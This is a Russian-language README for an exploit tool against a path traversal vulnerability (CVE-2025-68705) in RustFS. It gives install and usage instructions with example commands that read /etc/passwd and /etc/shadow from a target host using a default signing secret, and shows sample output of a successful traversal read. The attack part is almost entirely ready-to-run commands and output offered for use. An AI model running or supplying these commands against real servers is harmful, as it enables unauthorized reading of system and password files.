CVE-2025-68705 - Эксплойт Path Traversal для RustFS

Описание

Этот скрипт эксплуатирует уязвимость path traversal (CVE-2025-68705) в RustFS, которая позволяет читать произвольные файлы на сервере.

Требования

Python 3.6+
Смотрите requirements.txt для зависимостей

Установка

git clone https://github.com/yourusername/CVE-2025-68705.git
cd CVE-2025-68705
pip install -r requirements.txt

Использование

python exp.py -H <host> -p <port> -f <file_path> [-s <secret>]

Обязательные аргументы

Аргумент	Описание
`-H, --host`	IP-адрес или имя хоста цели
`-p, --port`	Номер порта цели
`-f, --file`	Путь к файлу для чтения (необязателен с --check-only)

Необязательные аргументы

Примеры

Чтение файла /etc/passwd

python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd

Чтение /etc/shadow с пользовательским смещением и длиной

python exp.py -H 192.168.1.128 -p 9000 -f /etc/shadow -o 0 -l 1024

Использование пользовательского секретного ключа

python exp.py -H 192.168.1.128 -p 9000 -f /etc/hosts -s customsecret

Только проверить, уязвим ли цель

python exp.py -H 192.168.1.128 -p 9000 --check-only

Чтение определённого диапазона файла

python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd -o 100 -l 200

Пример вывода

python ./exp.py -H 192.168.1.128 -p 19010 -f ../../../../etc/hosts -o 0 -l 100
[*] Target: 192.168.1.128:19010
[*] Secret: rustfsadmin
--------------------------------------------------
[*] Checking for CVE-2025-68705 vulnerability...
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../etc/passwd
[+] Target is VULNERABLE!
--------------------------------------------------
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../../../../../etc/hosts
[+] Successfully read file!

[+] File content (offset=0, length=100):
--------------------------------------------------
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastp

Лицензия

Этот проект лицензируется по лицензии MIT — подробности смотрите в файле LICENSE.

`-s, --secret`	Секретный ключ для подписи	`rustfsadmin`
`-o, --offset`	Смещение чтения файла	`0`
`-l, --length`	Количество байт для чтения	`4096`
`--check-only`	Только проверить, уязвим ли цель	-

CVE-2025-68705

Популярное